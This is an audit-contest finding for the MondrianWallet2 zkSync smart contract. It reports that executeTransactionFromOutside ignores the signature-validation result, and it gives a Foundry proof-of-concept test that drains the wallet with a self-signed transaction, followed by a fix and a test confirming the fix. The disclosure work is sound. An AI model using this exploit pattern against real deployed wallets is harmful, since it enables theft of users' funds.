Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The signature of the transactions are not validated correctly which allows a malicious user to drain all the funds

Summary

The MondrianWallet2 contract allows execution of signed transactions. But the signature is not validated correctly which can allow a malicious user to drain all the funds of the protocol.

Vulnerability Details

The MondrianWallet2 contract does execute _validateTransactions function from the function executeTransactionFromOutside in Line 97 of MondrianWallet2.sol. But the result from this execution is not checked. If the signature of the transaction is wrong (different from the owner), the transaction will still be executed. This can be exploited by a malicious user to drain the protocol.

Impact

A malicious user can self sign a transaction and drain all of the funds of the protocol. The impact is verified with the following test.

Proof of Code

The impact is demonstrated with the following test. Which can be executed with: forge test --zksync --system-mode=true --mt "testUnauthorizedTransactionFixed".

function testUnauthorizedTransaction() public onlyZkSync {
MondrianWallet2 implementation = new MondrianWallet2();
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), "");
MondrianWallet2 mondrianWallet = MondrianWallet2(address(proxy));
mondrianWallet.initialize();
mondrianWallet.transferOwnership(
0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
);
vm.deal(address(mondrianWallet), 1e18);
(address user, uint256 key) = makeAddrAndKey("user");
uint256 value = 1e18;
bytes memory functionData = abi.encodeWithSelector(
ERC20Mock.mint.selector,
address(mondrianWallet),
1e18
);
uint256 nonce = vm.getNonce(address(mondrianWallet));
bytes32[] memory factoryDeps = new bytes32[](0);
Transaction memory transaction = Transaction({
txType: 113, // type 113 (0x71).
from: uint256(uint160(mondrianWallet.owner())),
to: uint256(uint160(user)),
gasLimit: 0, //16777216,
gasPerPubdataByteLimit: 16777216,
maxFeePerGas: 16777216,
maxPriorityFeePerGas: 16777216,
paymaster: 0,
nonce: nonce,
value: value,
reserved: [uint256(0), uint256(0), uint256(0), uint256(0)],
data: functionData,
signature: hex"",
factoryDeps: factoryDeps,
paymasterInput: hex"",
reservedDynamic: hex""
});
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, unsignedTransactionHash);
transaction.signature = abi.encodePacked(r, s, v);
vm.prank(user);
mondrianWallet.executeTransactionFromOutside(transaction);
// The transaction signed by the user is executed
assertEq(user.balance, 1e18);
// All the funds are drained
assertEq(address(mondrianWallet).balance, 0);
}

The test confirms that there are no funds left in the protocol. All the funds are transferred to the user by using a transaction with wrong signature.

Tools Used

Manual Review

Recommendations

Add the following code which will cause the function executeTransactionFromOutside to revert when the transaction signature is not correct.

function executeTransactionFromOutside(
Transaction memory _transaction
) external payable {
- _validateTransaction(_transaction);
+ bytes4 magic = _validateTransaction(_transaction);
+ if (magic != ACCOUNT_VALIDATION_SUCCESS_MAGIC) {
+ revert MondrianWallet2__InvalidSignature();
+ }
_executeTransaction(_transaction);
}

After this code is added it can be confirmed that the function will revert with the following test. It can be executed with: forge test --zksync --system-mode=true --mt "testUnauthorizedTransactionFixed".

error MondrianWallet2__InvalidSignature();
function testUnauthorizedTransactionFixed() public onlyZkSync {
MondrianWallet2 implementation = new MondrianWallet2();
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), "");
MondrianWallet2 mondrianWallet = MondrianWallet2(address(proxy));
mondrianWallet.initialize();
mondrianWallet.transferOwnership(
0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
);
vm.deal(address(mondrianWallet), 1e18);
(address user, uint256 key) = makeAddrAndKey("user");
uint256 value = 1e18;
bytes memory functionData = abi.encodeWithSelector(
ERC20Mock.mint.selector,
address(mondrianWallet),
1e18
);
uint256 nonce = vm.getNonce(address(mondrianWallet));
bytes32[] memory factoryDeps = new bytes32[](0);
Transaction memory transaction = Transaction({
txType: 113, // type 113 (0x71).
from: uint256(uint160(mondrianWallet.owner())),
to: uint256(uint160(user)),
gasLimit: 0, //16777216,
gasPerPubdataByteLimit: 16777216,
maxFeePerGas: 16777216,
maxPriorityFeePerGas: 16777216,
paymaster: 0,
nonce: nonce,
value: value,
reserved: [uint256(0), uint256(0), uint256(0), uint256(0)],
data: functionData,
signature: hex"",
factoryDeps: factoryDeps,
paymasterInput: hex"",
reservedDynamic: hex""
});
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, unsignedTransactionHash);
transaction.signature = abi.encodePacked(r, s, v);
vm.expectRevert(
abi.encodeWithSelector(
MondrianWallet2__InvalidSignature.selector
)
);
vm.prank(user);
mondrianWallet.executeTransactionFromOutside(transaction);
// User balance is 0
assertEq(user.balance, 0);
// All the funds are still into the protocol
assertEq(address(mondrianWallet).balance, 1e18);
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing validation in executeTransactionFromOutside

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.